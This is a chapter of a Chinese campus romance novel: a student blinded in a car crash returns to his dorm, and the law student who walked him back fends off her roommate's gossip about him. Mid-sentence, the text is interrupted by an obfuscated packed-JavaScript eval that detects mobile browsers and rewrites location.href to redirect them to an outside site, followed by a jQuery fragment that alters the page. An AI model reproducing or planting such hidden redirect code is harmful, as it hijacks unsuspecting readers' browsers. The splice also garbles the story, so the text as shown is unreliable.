温疏宁刚把高宴声送到男生宿舍楼下,两人就遇上了他相熟的同学。
“声哥?”刘光豪迈出的脚步顿住,方向一转停在了原地。
高宴声微微偏头,下意识拉开了和她的距离。
“谢谢你愿意送我,”他松开了伞柄,手臂离开了温疏宁的掌心,“还不知道你叫什么,读哪个专业。”
温疏宁愣了一下,有些没反应过来。
刚刚高宴声还准确的叫出了自己的名字,现在怎么又这样问。
是…本来就不确定,还是不愿和她扯上关系。
因为旁边有她不认识的陌生人,温疏宁咬了咬嘴唇没有多问,将伞接过来,“法律系,温疏宁。”
她没再多留,克制着自己不去回头,直接转身离开。
“声哥,声哥!”刘光豪小跑了几步,将高宴声扶上了台阶,“还得是声哥你的人气高,走走路都有小姑娘送你回来。”
“是她善良,愿意帮忙。”高宴声扶着楼梯扶手慢慢向上,寝室在208,转过转角,又向前了十二步,他摸到了熟悉的铁门。
同样的地点,却和从前完全不同的视角,高宴声没立刻推门,而是用手仔细的摸了一遍门框和门把手。
刘光豪有些奇怪的站在边上看着他的动作,“声哥你摸门框干什么?”
“熟悉一下。”高宴声推门,“省的下次找错。”
“你要回来住?”刘光豪用脚抵住铁门,跟在高宴声身后进屋。
“嗯,假已经销了。”高宴声摸到了自己的床铺。感谢东海大学的财大气粗,单人单床,不是上床下桌也不是上铺下铺,省去了还要爬梯子的烦恼。
“可是…”刘光豪挠挠头欲言又止。
他女朋友还在外面等他,可高宴声又显然不方便,将他自己留在宿舍,他良心有些过意不去。
“不用管我。”高宴声摸索到水杯,拿起水壶给自己倒了杯温水,“你还有事吧,不要耽误了。”
“倒…倒也不急。”刘光豪坐到他对面,有心想安慰两句,可对上高宴声黯淡无光的眼睛,却又什么都说不出口。
“那我真走了,要不是我女朋友非要今天来找我出去,我就留下来陪你了。”
刘光豪走的时候还有些不放心,一步三回头,边走边把过道的杂物都清理出去,“声哥你要是有事就给我打电话,我立刻回来。”
“好。”高宴声坐在阴影里,点头的幅度不大,若不是刘光豪仔细,都要忽略掉。
他不忍再看,直接转身带上了门,想了想,还是在寝室除高宴声以外三人的小群里发了条消息。
【刘光豪:声哥回来住了,我女朋友今天来,你们谁能回来?】
【康文德:我靠!我怎么一点风声没听说,他不是瞎了吗?】
【刘光豪:确实是看不见,是被一个法律系的姑娘送到的宿舍楼下。】
【康文德:我不行,我在实习呢,看看老四能不能回去吧。】
【齐听寒:建模比赛呢,今晚都不睡住比赛场地了。】
【齐听寒:要我说,不如劝声哥找个对象,咱仨大老爷们也不可能每时每刻都在。】
【刘光豪:别扯淡,回不来别说风凉话,我看他状态也还行,应该也不太用帮忙吧…】
【康文德:别管了,都是成年人,有事情会给我们打电话的。】
【刘光豪:行吧。】
宿舍的床铺还是高宴声走时的样子,他从记忆中的架子上翻出来已经所剩不多的胶带,把断成两截的盲杖放到桌面,慢慢的将断裂处缠起来。
经过维修的盲杖勉强能用,高宴声将盲杖立在床边,挨着床沿躺下来,鞋被他板板正正的放在床边,方便下次起床的时候能直接找到。
他闭上眼睛,眼前还是不变的黑暗,黑夜与白天从车祸的那一刻起,对他而言,就已经再无区别。
…
温棠一路小跑回了寝室,她喘着气将外卖放到桌上,扑通一下坐到凳子上。
寝室里买了几个小马扎,是四个人坐地上撸串的时候用的,江媛非说这样热热闹闹的才有感觉,用习惯了之后,温疏宁也总爱坐在上面,方便又舒服。
江媛转着椅子扑过来,三两下打开了外卖袋子,深吸一口气,“就是这个味道!”
米线的香味霸道又诱人,刚吃完饭的温疏宁也眼馋的看了两眼。
“来两口,来两口。”江媛丝毫不见外的夹了两块头递到温疏宁嘴边,“你可是米线回家的大功臣,他家的米线是不是真的很好吃!”
“确实不错。”温疏宁擦了擦嘴角站起身,余光瞄到江媛的屏幕上又切到了校园论坛。
“法考没几天了,还在刷论坛?”
寝室里四个人都是法律系,她和江媛不准备读研,法考就成了重中之重,她天天在图书馆自习,江媛嫌路远便窝在了寝室。
“放松放松嘛!”江媛趴在椅背上,转头冲她讨好的笑笑,“咱们专业通过率还是挺高的,适当的放松一下更有利于学习。”
她说的信誓旦旦,还肯定的点了点头。
“对了。”江媛捧着米线到了电脑边,鼠标点进了刚刷到的新帖。
“有人在论坛里说,在学校看到高宴声了。”
“好像就在从图书馆到宿舍楼的那段路上。”
“宁宁,你看到他了吗?”江媛热爱八卦,每天就着学校论坛上面的爱恨情仇下饭,对高宴声这种风云人物的消息更是跟进的非常快。
温疏宁刚把沾了水的民法典放在桌上,想拿纸巾把上面的水吸一吸,闻言,手指顿了顿,没有抬头。
“我上哪看见啊。”
她说谎的时候下意识的语速加快,手中的纸巾被攥出了一道道褶皱。
“没看到吗?好可惜啊。”江媛有些失望,“和你回来是一个时间呢。”
温疏宁不再接话,只是擦拭纸张的力道更大了几分。
江媛嘴却没停,“你说,高宴声是不是真的失明了?”
“他都好久没来学校了,今日这么一来,肯定好多人都在议论。”
温疏宁有些晃神,想到了他对着树桩子认真道谢的样子,心里漫上了细细密密的难过。
“好可惜啊。”江媛的米线吃到了尾声,最后几根被她吸溜进嘴里,余光中看到温疏宁有些莫名的低落。
“你是不是也觉得好可惜!”她像找到了同好,兴致勃勃的按住温疏宁的肩膀,“他那样熠熠生光的人,忽然之间…”
江媛的声音越来越低,余光中她看到了温疏宁难看的脸色。
“抱歉,我去个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241997|197779||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卫生间。”
向来温柔好脾气的温疏宁第一次打断了朋友的话,躲进了卫生间。
好可惜啊,好可惜啊,好可惜啊…
即使背靠着门板,这句话仍然像魔咒一样的环绕着她,让她的面前不断闪过高宴声那双无神的眼睛。
她闭上眼睛,深吸一口气,走到洗手池前,拧开水龙头,将脸深深埋进沁凉的流水之中。
水流冲刷过脸颊,带来短暂的窒息感。
再度睁眼时,满脸的水珠顺着脸颊滑落被温疏宁用挂在一旁的毛巾随手擦去。
她忍不住想的更多…
旁人尚且如此,高宴声自己会不会…更加难过…
洗了把脸从卫生间出来,温疏宁走到江媛身边,抱住了她,“刚才是我一时失态了。”
江媛摇头,把她从地上半蹲着的姿势中拽起来,“是我太刻薄了。”
她瞄了眼温疏宁的表情,有些小心的措辞,“不过宁宁…”
“你是不是喜欢高宴声啊?”
从前在寝室里提起高宴声的时候,温疏宁从来没有什么太大的反应,顶多是偶尔附和两句,因此江媛也从没把两人联系在一起过。
只是刚刚看着,温疏宁并不像毫不在意。
温疏宁的身子僵了一下,立刻否认,“没有。”
她脸上重新漾起温和的笑容,“只是和你想的一样,觉得太可惜了。”
“好吧…”江媛半信半疑的不再追问。
“Jinglebells,jinglebells,
Jinglealltheway!…”
温疏宁放在桌面上的手机振动起来,铃儿响叮铛熟悉的旋律出现在耳边。
江媛在嘴边做了个拉链的表情转过头,翻开了法考习题册。
温疏宁把手机拿起来,点了一下接听,手机没什么反应,她又紧跟着点了第二下。
屏幕这才迟钝地跳转到通话界面。这部手机已经用了快三年,听筒开始出现滋啦的杂音,屏幕也因为老旧而时常不太灵敏。她本打算等法考结束,就去换个性价比高的新手机。
只是,现在看来,这个陪了她三年的手机可能挺不到法考结束那天了。
“喂,学长。”手机被放到耳边,温疏宁的声音下意识的提高了一些,声线也没有平日里那般柔和。
她声音柔,说话轻,总被人说太过吴音软语,接打电话怕对方听不清往往会故意让声音更粗重一些。
“温疏宁。”
“在。”在沈禧手下干活久了,她差点回了句收到。
“学长,有什么事吗?”她看了眼手表,午后一点,他很少在这个时间给她打电话。
沈禧言简意赅,“周日社团按照惯例进行普法活动,但是这次地点跟之前不同,换了一个高档小区。”
他顿了顿,似乎是在等温疏宁接收信息。
“小区离学校有些距离,社里会统一出车,但报名的人太多,恐怕坐不下,你跟我一起,OK吗?”
温疏宁犹豫了一下,法考日期将近,她本没打算参加这次活动,但社长沈禧亲自打电话来问,她脸皮薄,没好意思拒绝。
“可以,麻烦学长了。”
“太客气了。”沈禧轻笑一声,“温疏宁,周日见。”